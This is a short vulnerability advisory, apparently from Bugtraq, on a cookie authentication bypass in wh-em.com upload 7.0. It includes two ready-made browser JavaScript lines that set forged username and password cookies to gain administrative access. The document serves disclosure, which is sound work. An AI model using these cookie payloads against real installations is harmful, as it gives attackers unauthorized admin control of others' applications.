wh-em.com upload Insecure Cookie Authentication Bypass Vulnerability

Bugtraq ID:	38610
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 16 2010 12:00AM
Updated:	Feb 16 2010 12:00AM
Credit:	indoushka
Vulnerable:	wh-em.com upload 7.0
Not Vulnerable:

wh-em.com upload Insecure Cookie Authentication Bypass Vulnerability

wh-em.com upload is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks.

wh-em.com upload 7.0 is vulnerable; other versions may also be affected.

wh-em.com upload Insecure Cookie Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following example data is available:

javascript:document.cookie="whem_Name=adm_user;path=/";
javascript:document.cookie="whem_Password=adm_user;path=/";

wh-em.com upload Insecure Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

wh-em.com upload Insecure Cookie Authentication Bypass Vulnerability

References:

• upload Homepage (wh-em.com)